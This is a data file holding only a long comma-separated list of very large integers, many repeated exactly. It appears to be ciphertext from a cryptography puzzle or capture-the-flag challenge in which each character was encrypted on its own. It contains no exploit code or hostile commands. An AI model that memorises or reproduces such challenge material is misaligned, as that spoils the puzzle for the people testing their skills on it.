14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 52840621689121797895256363389338274694450461789829175087736646052885972599541176587393339836186116798179639665528641843475425650830795547188378088601848535424795824136246287654182750346069524432086206082201048105736692531622222816403756012329174735009131234941877426201644907061786470186383501136594209222405, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12932315605361356260109350737202295649066381035837249252185795202913980480440863417983883037159810577739986004162343142150811156736478717833534910573828843843135123757197342268856313199793884733585941943828474996180460900240457279087457908434717560236156491751130556115885434115169341757101655831937772066303, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 38802989341210530457378237385843973124921316122128304138276723482825938449328688522058677634210417960328667542939425659386994898427574509818766303473446802692515345332427976398389916234534200995301483992776549890379656184952685366723722458147873775598641647772939243953968981681779761004069962129149532525241, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 35757511882733355483839947542352804611289303760086802899974215637660071779650145686478637770001786118916493988988448569553752725399372273917548305878712872685951566425456575300012758123702510007669248383698343577662182410702363875166254773789867158011011670420550839163044289826725125706067556429856779495564, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 1616691599456040168445566414573196426135242040353418621535727203361763119546110811202180542592381606989262060743706931509368561992575755611142039943697929675456007056209371231656367986288172877583606660982468769562130680078575424889216776816820937295397087401890122017587798820436843206222029244517132787091, 14576332930836336401134272222550882346965368092028955000954694875179130873398333216454729664378847576041041506775766783029984889520769135364408129680069043197669185727467506703395296323412031069601024043172225202033251709886245288125871615751041310682693335390022558588465347411736471596258937782467179701363, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 52840621689121797895256363389338274694450461789829175087736646052885972599541176587393339836186116798179639665528641843475425650830795547188378088601848535424795824136246287654182750346069524432086206082201048105736692531622222816403756012329174735009131234941877426201644907061786470186383501136594209222405, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 39071839511948638988080907036852746654085273366404837973213329692814484554408908523546999438831321352816110395822192272922701572846039352688552458816923896373772472819785936751685465282644216513301671688378689515602296293965301386883552780271126801778759956341143215735911106078099952795281272294184101222894, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 34220770932871364013976724839545041417474666615300575941746695940071552482886462087439379719184240006479394129946558717984964307444237521284361087031583504037093765914149168694482266218524635203263596760639253965500892625668716519628460563860957678979373258071483670494006067028836185890388591731283716604832, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 19492166218065210361696686707896525268020417715191233863834594410819422493908382086802419877050654000223876689075138373828891333608984761550312273195513504605801530063487641725099161221148773827710266506625126250751074980206372410832787410270736779064975681240662166847411633904532223257736996555482185275717, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 1176875645989444228120683125555162464459775615749992327233861740655598304185200372099710632670669740275928889234588484578424676523579010677635946710527054032662591517295007580344076297705713808521731216834723911361610732077241004086348355880037625191238102086425263717843500661215346831687259608549125530807, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 50154500011327049415150110613714558756986965132059956858621967629544808661996323441483612798709196285670748400127394046198652122647065373883652074401488461140240807698457285933739509452128499026773680398001271333305476126787388797879767072284116978372707084228927669307533874093727830120482310649071798909223, 11754165346287637561545259343840422291909328839266777034181425212469224088636786285072037265988741867852390393052619139981204304725012657494805876058735252784205208373103211292641197325597338249663286939455864193037451288723183790294305055993067129506821935556455779063943868491706701650087037910887657226493, 1176875645989444228120683125555162464459775615749992327233861740655598304185200372099710632670669740275928889234588484578424676523579010677635946710527054032662591517295007580344076297705713808521731216834723911361610732077241004086348355880037625191238102086425263717843500661215346831687259608549125530807, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 12809420335059752622795672675980615147379433503921952871001570329869909602631152404784101902235852407354985529217839517914337978763562477704639713177361527151286904208185025322596545149058203315249298373136118690015234673764106807029822628760444420022929741931249845208516150129504338691005143546218303736485, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 20615543970401106049899252800192288457964182639045355076454473284260002293725082025968310990122731962791617789632077170719345622736070264054367958868239517799808416688171918069309633316391105904609498475463756359094918228354423745819313393742987851160846772360092594149040683896814298190633249373326376461156, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 29134244853493331789283603393275291749816044468350702102035506094598790040927938861054634777247830931517686010741339628812116985594232674807263027901600624507630247209184903517192048488176261028761389768656154493158817886581472185760507276853927467270445108103128473821519705668231154797667164681995129099167, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 3929570815133494377565674564390309833497202447403079059880445103091097112439963260471815756880162820614427515327977655020489262502104373204431222035394513353720509807520161739252076395126436615051937945259162514387773880075644161755707728744548141441713692993486773337542283702554850976267025978523835156103, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 2491776416157094729247228546388058805100982106803126656760544775570831165844468695126053157622604400534191689984239642501431889749664796813015093832003828115405081489372948999096884256544945626310866557608968099061130574640407181237631369536699135922165700470873033015069995508536990789193832860645907343986, 15799025644615822656801740434122556637212995922559332084222280459000654656427689834064128147572871045216617743273426836990308480455737076816410648044480511949442083909138576214738788738048193643029632245738932831021072125057111936960522329562306867802898765387374026585757497606153328226325713384411664479472, 22727001808817855311403725351156659724989158069800490466458013816315274831050097254851934829809436415084558805190061876535460171481477325886587862814504906096266519469387070277858969077815631009037077538503164118774110740593006218494447633084714757032153557681184383300445044005450878303829523921113090598503, 20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582, 21825516420085786633620414923499927809866106375209997536887923519665612310710893091548347638116562999505810709467483467910561336083489137335015281764912210385860293937794761219080479166302700347936082258520119437027319181174057624695351433300415797052703957131305247757258587758932996789777812701543305273524, 19987556196019746934559490493908126130478310916985676680825131675475834956269416368131390860400524736253193350877031424890618150894631360660555214791233380817082613242334649401913706349419529298111678642103008577869651397737137307296898997921920272507265954704602147279649946742171997814500423616836127877151, 27576274928869221620126245883590920739381444228403264811604678585326136261919043025439432380393614033747213164606047970194501234144690982453937415512291833747115414764529517980671948859099514533322022692971474660454113892401294955396004739513550951184454650026652626364585678702730119565114784074733394949336, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 51096222195660998838214993398008975443334226469462987938620835940031595422906389948456714314184250584134675031854562918540111185432877967886125365843859202759838619358876321717841898972235167208334603406133491230325950874308071748186279415332768724277308777107769815375150668126847491101640368755019633726889, 39385543283404473075185452058079832095584936856222212380734415975432643784664927411933026085735951287828134889813409092456274531550067215917681707367020221976856074609811863093935500364044953252851773508292484565675960979638799629224447070845682042579853348896232929185963231949966635800852425193221658914799, 40134547635227845599825339690894195012168718754712945141544421186023480430553150024357178615922032531442839979802093306933346913584778658886938008884216860952509344521015417521265603939411082620539473525127363853503284782317720170238435878533613693578512044166590440262304835466215502510526120232032001658845, 18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909, 